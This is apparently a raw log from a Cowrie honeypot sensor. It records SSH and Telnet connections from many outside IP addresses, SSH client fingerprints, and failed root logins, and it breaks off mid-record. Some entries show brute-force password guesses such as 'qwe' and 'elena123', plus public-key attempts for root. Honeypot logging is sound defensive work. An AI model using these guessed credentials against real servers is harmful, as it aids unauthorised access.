{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:0f:aa:f3:46:76:3f:f8:e3:be:8f:04:14:3d:1d:5a","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKKjF8P6dfZ9GmuUUap9oBg/bPqFeVwOGjZkmsfptnqWnft9wzmTtRDEN27JkmRAKLafLmZQjLqpJF+1LuwcL6y5lE2lz7437BTsDRQ4wj4+1NiDwF16YTrcEOWGnkW1SP+5txEgywFBbeZU3Qk53aDcsrWtDcrZ1nqRRpy0aWiNAAAAFQDG+O07nw6f4pDigKppht7Zfn5d2QAAAIAbQ8sKra6IDo/nuXDdleAAg0rlbXWNSyhTwA8H+T8lKcA7vzYn58mVGJTPc69+SXrHeb3KKR2SpHCtwX8UuPtibHl9orASEKTDL4p2EiMe2xJ1l8Cal8HmXxOnnlJS/MHY6PytGOVnUxR7RZ7RJGcOaKEjtgV+u32p7F7BfyucPwAAAIAfVXPLXv79qAlk1mQp89lL0QoLbJThm5Ee8EWdyPAuXpIF7LfSm/7P6FB+ho8xZBaayTiCV7QF0xGAedLDdbj5TvV7J74AF0+PzGc8u7NkoWL/L9GMwHP3fPtkRKR2+NNt87pJ+Zry4uCyEq5G1cu8PhKBqo/KIx3chfO2xVTSQw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint b6:0f:aa:f3:46:76:3f:f8:e3:be:8f:04:14:3d:1d:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:51.664128Z","src_ip":"38.96.178.220","session":"89af76a0aa66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:0f:aa:f3:46:76:3f:f8:e3:be:8f:04:14:3d:1d:5a","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKKjF8P6dfZ9GmuUUap9oBg/bPqFeVwOGjZkmsfptnqWnft9wzmTtRDEN27JkmRAKLafLmZQjLqpJF+1LuwcL6y5lE2lz7437BTsDRQ4wj4+1NiDwF16YTrcEOWGnkW1SP+5txEgywFBbeZU3Qk53aDcsrWtDcrZ1nqRRpy0aWiNAAAAFQDG+O07nw6f4pDigKppht7Zfn5d2QAAAIAbQ8sKra6IDo/nuXDdleAAg0rlbXWNSyhTwA8H+T8lKcA7vzYn58mVGJTPc69+SXrHeb3KKR2SpHCtwX8UuPtibHl9orASEKTDL4p2EiMe2xJ1l8Cal8HmXxOnnlJS/MHY6PytGOVnUxR7RZ7RJGcOaKEjtgV+u32p7F7BfyucPwAAAIAfVXPLXv79qAlk1mQp89lL0QoLbJThm5Ee8EWdyPAuXpIF7LfSm/7P6FB+ho8xZBaayTiCV7QF0xGAedLDdbj5TvV7J74AF0+PzGc8u7NkoWL/L9GMwHP3fPtkRKR2+NNt87pJ+Zry4uCyEq5G1cu8PhKBqo/KIx3chfO2xVTSQw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:51.668365Z","src_ip":"38.96.178.220","session":"89af76a0aa66","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:d2:38:73:b8:0f:fc:e6:8e:2e:32:4e:70:cf:a3:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQiSmK8KmqbYjAp/Fdxf837JA0DZdI0SY4+e/K/7WDm+v8F/ekriIfRvccQhUcd4e+aUxt+djdEtGG2cXE0G3/n/ZNpBa3laRpqKYaMVTG6q0wHTcQ9ENSKmGsJgc48G9vBHCy1PiQPpqjM5hCiM3f6i4nAOv31VPsQDJMAURb8B687S5gjJ3WzU6vPrZvP5HHp1igjycf22eeOqB7Wx5mJEiXNWbhvG6IXm7tmcVPcljqkxmE4cccnolhKIIhz1npwmDGyYLINe2HcNaZll+NMFnOcVCB5XBCqCgHELUxpC0nV7Y93+oVMehf5r5oEftrnw8pktQmBtlEfn0TtSFz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:d2:38:73:b8:0f:fc:e6:8e:2e:32:4e:70:cf:a3:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:51.677715Z","src_ip":"38.96.178.220","session":"89af76a0aa66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:d2:38:73:b8:0f:fc:e6:8e:2e:32:4e:70:cf:a3:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQiSmK8KmqbYjAp/Fdxf837JA0DZdI0SY4+e/K/7WDm+v8F/ekriIfRvccQhUcd4e+aUxt+djdEtGG2cXE0G3/n/ZNpBa3laRpqKYaMVTG6q0wHTcQ9ENSKmGsJgc48G9vBHCy1PiQPpqjM5hCiM3f6i4nAOv31VPsQDJMAURb8B687S5gjJ3WzU6vPrZvP5HHp1igjycf22eeOqB7Wx5mJEiXNWbhvG6IXm7tmcVPcljqkxmE4cccnolhKIIhz1npwmDGyYLINe2HcNaZll+NMFnOcVCB5XBCqCgHELUxpC0nV7Y93+oVMehf5r5oEftrnw8pktQmBtlEfn0TtSFz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:51.681726Z","src_ip":"38.96.178.220","session":"89af76a0aa66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:51.697252Z","src_ip":"38.96.178.220","session":"89af76a0aa66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37466,"dst_ip":"10.17.0.5","dst_port":23,"session":"64023c6a0dc0","protocol":"telnet","message":"New connection: 50.6.8.71:37466 (10.17.0.5:23) [session: 64023c6a0dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:33:18.257682Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.177.139.88","src_port":35224,"dst_ip":"10.17.0.5","dst_port":22,"session":"be2898ced594","protocol":"ssh","message":"New connection: 81.177.139.88:35224 (10.17.0.5:22) [session: be2898ced594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:33:25.840595Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":44096,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf364553420d","protocol":"ssh","message":"New connection: 94.159.98.239:44096 (10.17.0.5:22) [session: bf364553420d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:33:37.868552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:33:37.920129Z","src_ip":"94.159.98.239","session":"bf364553420d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:33:38.023642Z","src_ip":"94.159.98.239","session":"bf364553420d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe","message":"login attempt [root/qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:33:38.609478Z","src_ip":"94.159.98.239","session":"bf364553420d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:33:39.951712Z","src_ip":"94.159.98.239","session":"bf364553420d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.355706453323364,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:33:52.613266Z","src_ip":"50.6.8.71","session":"64023c6a0dc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"183.138.228.242","src_port":44992,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2de4070d019","protocol":"telnet","message":"New connection: 183.138.228.242:44992 (10.17.0.5:23) [session: c2de4070d019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:34:14.982819Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":51224,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a3065a3d0de","protocol":"ssh","message":"New connection: 103.82.132.16:51224 (10.17.0.5:22) [session: 6a3065a3d0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:34:16.467774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:34:16.476479Z","src_ip":"103.82.132.16","session":"6a3065a3d0de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:34:16.740164Z","src_ip":"103.82.132.16","session":"6a3065a3d0de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nurlan","message":"login attempt [root/nurlan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:34:17.529747Z","src_ip":"103.82.132.16","session":"6a3065a3d0de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:34:18.796413Z","src_ip":"103.82.132.16","session":"6a3065a3d0de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.10216736793518,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:34:28.084888Z","src_ip":"183.138.228.242","session":"c2de4070d019","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:34:35.041244Z","src_ip":"89.111.168.79","session":"3b1efa15eb79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:35:25.854025Z","src_ip":"81.177.139.88","session":"be2898ced594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34072,"dst_ip":"10.17.0.5","dst_port":23,"session":"1272e2b28c5e","protocol":"telnet","message":"New connection: 50.6.8.71:34072 (10.17.0.5:23) [session: 1272e2b28c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:35:47.179490Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":45424,"dst_ip":"159.203.135.109","dst_port":22,"session":"edf4ff18599b","protocol":"ssh","message":"New connection: 89.108.118.91:45424 (159.203.135.109:22) [session: edf4ff18599b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:35:49.104470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:35:49.109025Z","src_ip":"89.108.118.91","session":"edf4ff18599b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:35:49.242312Z","src_ip":"89.108.118.91","session":"edf4ff18599b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elena123","message":"login attempt [root/elena123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:35:49.644070Z","src_ip":"89.108.118.91","session":"edf4ff18599b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:35:50.780127Z","src_ip":"89.108.118.91","session":"edf4ff18599b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44884,"dst_ip":"10.17.0.5","dst_port":23,"session":"18c1406a16dc","protocol":"telnet","message":"New connection: 50.6.8.71:44884 (10.17.0.5:23) [session: 18c1406a16dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:09.325810Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":21368,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6a8356d913e","protocol":"ssh","message":"New connection: 38.93.206.2:21368 (10.17.0.5:22) [session: e6a8356d913e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:12.309436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:12.313960Z","src_ip":"38.93.206.2","session":"e6a8356d913e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:12.364590Z","src_ip":"38.93.206.2","session":"e6a8356d913e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"666666666","message":"login attempt [root/666666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:12.516456Z","src_ip":"38.93.206.2","session":"e6a8356d913e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:13.570241Z","src_ip":"38.93.206.2","session":"e6a8356d913e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.980366945266724,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:24.159753Z","src_ip":"50.6.8.71","session":"1272e2b28c5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":57438,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cb42be0e895","protocol":"ssh","message":"New connection: 51.250.105.222:57438 (10.17.0.5:22) [session: 7cb42be0e895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:33.748264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:33.754697Z","src_ip":"51.250.105.222","session":"7cb42be0e895","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:33.882650Z","src_ip":"51.250.105.222","session":"7cb42be0e895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6661313","message":"login attempt [root/6661313] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:34.267852Z","src_ip":"51.250.105.222","session":"7cb42be0e895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:35.402429Z","src_ip":"51.250.105.222","session":"7cb42be0e895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.787585973739624,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:54.113292Z","src_ip":"50.6.8.71","session":"18c1406a16dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":38770,"dst_ip":"10.17.0.5","dst_port":23,"session":"adb74f4711b9","protocol":"telnet","message":"New connection: 23.94.28.189:38770 (10.17.0.5:23) [session: adb74f4711b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:54.968716Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":51084,"dst_ip":"10.17.0.5","dst_port":22,"session":"c799199dba04","protocol":"ssh","message":"New connection: 103.77.175.15:51084 (10.17.0.5:22) [session: c799199dba04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:57.935827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:36:57.940708Z","src_ip":"103.77.175.15","session":"c799199dba04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@opens